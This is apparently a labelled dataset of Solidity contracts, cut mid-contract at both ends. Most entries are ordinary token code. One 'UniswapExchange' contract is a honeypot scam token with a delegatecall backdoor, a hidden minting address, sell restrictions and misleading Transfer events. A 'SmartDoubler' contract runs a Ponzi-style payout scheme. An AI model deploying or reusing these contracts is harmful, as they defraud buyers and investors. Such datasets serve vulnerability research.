function findProductIndexById(uint _productId) internal view returns(uint) {
for(uint i = 0; i < products.length; i++) {
if(products[i].id == _productId){
return i;
}
}
return 0;
}
function findProductById(uint _productId) internal view returns(Product memory) {
for(uint i = 0; i < products.length; i++) {
if(products[i].id == _productId){
return products[i];
}
}
Product memory product;
return product;
}
} | 1 | 3,404 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,325 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract FidelityHouseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
uint256 public lockedUntil;
mapping(address => uint256) internal lockedBalances;
modifier canTransfer(address _from, uint256 _value) {
require(
mintingFinished,
"Minting should be finished before transfer."
);
require(
_value <= balances[_from].sub(lockedBalanceOf(_from)),
"Can't transfer more than unlocked tokens"
);
_;
}
constructor(uint256 _lockedUntil)
DetailedERC20("FidelityHouse Token", "FIH", 18)
public
{
lockedUntil = _lockedUntil;
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_owner] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
contract FidelityHouseVendor is TokenRecover {
using SafeMath for uint256;
mapping (address => uint256) public sentTokens;
FidelityHouseToken public token;
constructor(address _token) public {
require(
_token != address(0),
"Token shouldn't be the zero address."
);
token = FidelityHouseToken(_token);
}
function multiSend(
address[] _addresses,
uint256[] _amounts
)
external
onlyOwner
{
require(
_addresses.length > 0,
"Addresses array shouldn't be empty."
);
require(
_amounts.length > 0,
"Amounts array shouldn't be empty."
);
require(
_addresses.length == _amounts.length,
"Addresses and amounts arrays should have the same length."
);
uint len = _addresses.length;
for (uint i = 0; i < len; i++) {
address _beneficiary = _addresses[i];
uint256 _tokenAmount = _amounts[i];
if (sentTokens[_beneficiary] == 0) {
sentTokens[_beneficiary] = _tokenAmount;
token.mintAndLock(_beneficiary, _tokenAmount);
}
}
}
} | 1 | 4,614 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SmartDoubler {
using SafeMath for uint;
address public owner;
address marketing;
address admin;
mapping (address => uint) index;
mapping (address => mapping (uint => uint)) deposit;
mapping (address => mapping (uint => uint)) finish;
mapping (address => uint) checkpoint;
mapping (address => uint) refBonus;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
constructor(address _marketing, address _admin) public {
owner = msg.sender;
marketing = _marketing;
admin = _admin;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function refSystem() internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getInfo3(_referrer) > 0) {
marketing.transfer(msg.value * 6 / 100);
msg.sender.transfer(msg.value * 1 / 100);
refBonus[_referrer] += msg.value * 2 / 100;
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
} else {
marketing.transfer(msg.value * 9 / 100);
}
}
function getInterest() public view returns (uint) {
if (address(this).balance >= 5000e18) {
return 10;
}
if (address(this).balance >= 2500e18) {
return 9;
}
if (address(this).balance >= 1500e18) {
return 8;
}
if (address(this).balance >= 500e18) {
return 7;
} else {
return 6;
}
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable {
require(msg.value >= 50000000000000000);
admin.transfer(msg.value * 3 / 100);
if (getInfo3(msg.sender) + getInfo4(msg.sender) > 0) {
withdraw();
if (deposit[msg.sender][0] > 0) {
index[msg.sender] += 1;
}
}
checkpoint[msg.sender] = block.timestamp;
finish[msg.sender][index[msg.sender]] = block.timestamp + (20 * 1 days);
deposit[msg.sender][index[msg.sender]] = msg.value;
if (msg.data.length != 0) {
refSystem();
} else {
marketing.transfer(msg.value * 9 / 100);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout = refBonus[msg.sender];
refBonus[msg.sender] = 0;
for (uint i = 0; i <= index[msg.sender]; i++) {
if (checkpoint[msg.sender] < finish[msg.sender][i]) {
if (block.timestamp > finish[msg.sender][i]) {
_payout = _payout.add((deposit[msg.sender][i].mul(getInterest()).div(100)).mul(finish[msg.sender][i].sub(checkpoint[msg.sender])).div(1 days));
} else {
_payout = _payout.add((deposit[msg.sender][i].mul(getInterest()).div(100)).mul(block.timestamp.sub(checkpoint[msg.sender])).div(1 days));
}
}
}
if (_payout > 0) {
checkpoint[msg.sender] = block.timestamp;
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function getInfo1(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= index[_address]; i++) {
if (block.timestamp < finish[_address][i]) {
_sum += deposit[_address][i];
}
}
Invested = _sum;
}
function getInfo2(address _address, uint _number) public view returns(uint Deposit_N) {
if (block.timestamp < finish[_address][_number - 1]) {
Deposit_N = deposit[_address][_number - 1];
} else {
Deposit_N = 0;
}
}
function getInfo3(address _address) public view returns(uint Dividends) {
uint _payout;
for (uint i = 0; i <= index[_address]; i++) {
if (checkpoint[_address] < finish[_address][i]) {
if (block.timestamp > finish[_address][i]) {
_payout = _payout.add((deposit[_address][i].mul(getInterest()).div(100)).mul(finish[_address][i].sub(checkpoint[_address])).div(1 days));
} else {
_payout = _payout.add((deposit[_address][i].mul(getInterest()).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days));
}
}
}
Dividends = _payout;
}
function getInfo4(address _address) public view returns(uint Bonuses) {
Bonuses = refBonus[_address];
}
} | 1 | 2,915 |
pragma solidity ^0.4.25;
contract ACOwned {
address public owner;
address public new_owner;
bool is_ac_owned_init;
modifier if_owner() {
require(is_owner());
_;
}
function init_ac_owned()
internal
returns (bool _success)
{
if (is_ac_owned_init == false) {
owner = msg.sender;
is_ac_owned_init = true;
}
_success = true;
}
function is_owner()
private
constant
returns (bool _is_owner)
{
_is_owner = (msg.sender == owner);
}
function change_owner(address _new_owner)
if_owner()
public
returns (bool _success)
{
new_owner = _new_owner;
_success = true;
}
function claim_ownership()
public
returns (bool _success)
{
require(msg.sender == new_owner);
owner = new_owner;
_success = true;
}
}
contract Constants {
address constant NULL_ADDRESS = address(0x0);
uint256 constant ZERO = uint256(0);
bytes32 constant EMPTY = bytes32(0x0);
}
contract ContractResolver is ACOwned, Constants {
mapping (bytes32 => address) contracts;
bool public locked_forever;
modifier unless_registered(bytes32 _key) {
require(contracts[_key] == NULL_ADDRESS);
_;
}
modifier if_owner_origin() {
require(tx.origin == owner);
_;
}
modifier if_sender_is(bytes32 _contract) {
require(msg.sender == get_contract(_contract));
_;
}
modifier if_not_locked() {
require(locked_forever == false);
_;
}
constructor() public
{
require(init_ac_owned());
locked_forever = false;
}
function init_register_contract(bytes32 _key, address _contract_address)
if_owner_origin()
if_not_locked()
unless_registered(_key)
public
returns (bool _success)
{
require(_contract_address != NULL_ADDRESS);
contracts[_key] = _contract_address;
_success = true;
}
function lock_resolver_forever()
if_owner
public
returns (bool _success)
{
locked_forever = true;
_success = true;
}
function get_contract(bytes32 _key)
public
view
returns (address _contract)
{
require(contracts[_key] != NULL_ADDRESS);
_contract = contracts[_key];
}
}
contract ResolverClient {
address public resolver;
bytes32 public key;
address public CONTRACT_ADDRESS;
modifier if_sender_is(bytes32 _contract) {
require(sender_is(_contract));
_;
}
function sender_is(bytes32 _contract) internal view returns (bool _isFrom) {
_isFrom = msg.sender == ContractResolver(resolver).get_contract(_contract);
}
modifier if_sender_is_from(bytes32[3] _contracts) {
require(sender_is_from(_contracts));
_;
}
function sender_is_from(bytes32[3] _contracts) internal view returns (bool _isFrom) {
uint256 _n = _contracts.length;
for (uint256 i = 0; i < _n; i++) {
if (_contracts[i] == bytes32(0x0)) continue;
if (msg.sender == ContractResolver(resolver).get_contract(_contracts[i])) {
_isFrom = true;
break;
}
}
}
modifier unless_resolver_is_locked() {
require(is_locked() == false);
_;
}
function init(bytes32 _key, address _resolver)
internal
returns (bool _success)
{
bool _is_locked = ContractResolver(_resolver).locked_forever();
if (_is_locked == false) {
CONTRACT_ADDRESS = address(this);
resolver = _resolver;
key = _key;
require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));
_success = true;
} else {
_success = false;
}
}
function is_locked()
private
view
returns (bool _locked)
{
_locked = ContractResolver(resolver).locked_forever();
}
function get_contract(bytes32 _key)
public
view
returns (address _contract)
{
_contract = ContractResolver(resolver).get_contract(_key);
}
}
contract BytesIteratorInteractive {
function list_bytesarray(uint256 _count,
function () external constant returns (bytes32) _function_first,
function () external constant returns (bytes32) _function_last,
function (bytes32) external constant returns (bytes32) _function_next,
function (bytes32) external constant returns (bytes32) _function_previous,
bool _from_start)
internal
constant
returns (bytes32[] _bytes_items)
{
if (_from_start) {
_bytes_items = private_list_bytes_from_bytes(_function_first(), _count, true, _function_last, _function_next);
} else {
_bytes_items = private_list_bytes_from_bytes(_function_last(), _count, true, _function_first, _function_previous);
}
}
function list_bytesarray_from(bytes32 _current_item, uint256 _count,
function () external constant returns (bytes32) _function_first,
function () external constant returns (bytes32) _function_last,
function (bytes32) external constant returns (bytes32) _function_next,
function (bytes32) external constant returns (bytes32) _function_previous,
bool _from_start)
internal
constant
returns (bytes32[] _bytes_items)
{
if (_from_start) {
_bytes_items = private_list_bytes_from_bytes(_current_item, _count, false, _function_last, _function_next);
} else {
_bytes_items = private_list_bytes_from_bytes(_current_item, _count, false, _function_first, _function_previous);
}
}
function private_list_bytes_from_bytes(bytes32 _current_item, uint256 _count, bool _including_current,
function () external constant returns (bytes32) _function_last,
function (bytes32) external constant returns (bytes32) _function_next)
private
constant
returns (bytes32[] _bytes32_items)
{
uint256 _i;
uint256 _real_count = 0;
bytes32 _last_item;
_last_item = _function_last();
if (_count == 0 || _last_item == bytes32(0x0)) {
_bytes32_items = new bytes32[](0);
} else {
bytes32[] memory _items_temp = new bytes32[](_count);
bytes32 _this_item;
if (_including_current == true) {
_items_temp[0] = _current_item;
_real_count = 1;
}
_this_item = _current_item;
for (_i = _real_count; (_i < _count) && (_this_item != _last_item);_i++) {
_this_item = _function_next(_this_item);
if (_this_item != bytes32(0x0)) {
_real_count++;
_items_temp[_i] = _this_item;
}
}
_bytes32_items = new bytes32[](_real_count);
for(_i = 0;_i < _real_count;_i++) {
_bytes32_items[_i] = _items_temp[_i];
}
}
}
}
contract AddressIteratorInteractive {
function list_addresses(uint256 _count,
function () external constant returns (address) _function_first,
function () external constant returns (address) _function_last,
function (address) external constant returns (address) _function_next,
function (address) external constant returns (address) _function_previous,
bool _from_start)
internal
constant
returns (address[] _address_items)
{
if (_from_start) {
_address_items = private_list_addresses_from_address(_function_first(), _count, true, _function_last, _function_next);
} else {
_address_items = private_list_addresses_from_address(_function_last(), _count, true, _function_first, _function_previous);
}
}
function list_addresses_from(address _current_item, uint256 _count,
function () external constant returns (address) _function_first,
function () external constant returns (address) _function_last,
function (address) external constant returns (address) _function_next,
function (address) external constant returns (address) _function_previous,
bool _from_start)
internal
constant
returns (address[] _address_items)
{
if (_from_start) {
_address_items = private_list_addresses_from_address(_current_item, _count, false, _function_last, _function_next);
} else {
